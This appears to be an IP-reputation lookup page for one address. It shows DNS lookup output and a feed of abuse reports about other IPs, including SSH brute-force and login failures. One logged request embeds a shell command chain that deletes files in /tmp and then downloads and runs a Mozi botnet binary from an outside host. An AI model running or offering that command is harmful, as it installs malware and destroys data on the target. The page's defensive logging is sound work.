Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.23.137.21
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 1650
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.23.137.21.			IN	A

;; AUTHORITY SECTION:
.			569	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022040102 1800 900 604800 86400

;; Query time: 68 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Apr 01 23:28:26 CST 2022
;; MSG SIZE  rcvd: 106
Host info
Host 21.137.23.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 21.137.23.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
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Fail2Ban Ban Triggered
2020-10-06 16:16:50
101.89.63.136 attackbots
SSH login attempts.
2020-10-06 16:07:40
106.75.7.92 attackbots
detected by Fail2Ban
2020-10-06 16:03:13
82.251.100.63 attackbots
port scan and connect, tcp 23 (telnet)
2020-10-06 16:04:31
167.71.209.158 attack
Unauthorised connection attempt detected at AUO MAIN. System is sshd. Protected by AUO Stack Web Application Firewall (WAF)
2020-10-06 16:15:36
111.229.57.21 attackbotsspam
SSH Brute-Force attacks
2020-10-06 16:13:17
45.148.10.60 attackspambots
2020-10-06 10:30:40 dovecot_login authenticator failed for \(ADMIN\) \[45.148.10.60\]: 535 Incorrect authentication data \(set_id=support@opso.it\)
2020-10-06 10:32:34 dovecot_login authenticator failed for \(ADMIN\) \[45.148.10.60\]: 535 Incorrect authentication data \(set_id=support@opso.it\)
2020-10-06 10:34:27 dovecot_login authenticator failed for \(ADMIN\) \[45.148.10.60\]: 535 Incorrect authentication data \(set_id=support@opso.it\)
2020-10-06 10:36:21 dovecot_login authenticator failed for \(ADMIN\) \[45.148.10.60\]: 535 Incorrect authentication data \(set_id=support@opso.it\)
2020-10-06 10:38:20 dovecot_login authenticator failed for \(ADMIN\) \[45.148.10.60\]: 535 Incorrect authentication data \(set_id=support@opso.it\)
2020-10-06 16:43:13
94.180.25.152 attack
 TCP (SYN) 94.180.25.152:52445 -> port 23, len 40
2020-10-06 16:33:38
66.249.64.4 attackbots
404 NOT FOUND
2020-10-06 16:42:49
129.204.177.7 attackbotsspam
Invalid user postgres from 129.204.177.7 port 37818
2020-10-06 16:25:29
151.235.231.183 attackspambots
port scan and connect, tcp 23 (telnet)
2020-10-06 16:24:31
139.215.217.181 attackspam
Oct  6 10:29:17 ns3164893 sshd[2114]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.215.217.181  user=root
Oct  6 10:29:19 ns3164893 sshd[2114]: Failed password for root from 139.215.217.181 port 56425 ssh2
...
2020-10-06 16:35:26
115.59.37.53 attackspam
115.59.37.53 - - [05/Oct/2020:21:40:41 +0100] 80 "GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.59.37.53:39826/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 824 "-" "Hello, world"
...
2020-10-06 16:00:47
118.136.82.60 attackspambots
Email rejected due to spam filtering
2020-10-06 16:23:21
3.87.170.104 attackbotsspam
Unauthorized access to SSH at 5/Oct/2020:22:40:45 +0000.
Received:  (SSH-2.0-paramiko_2.4.2)
2020-10-06 16:38:39

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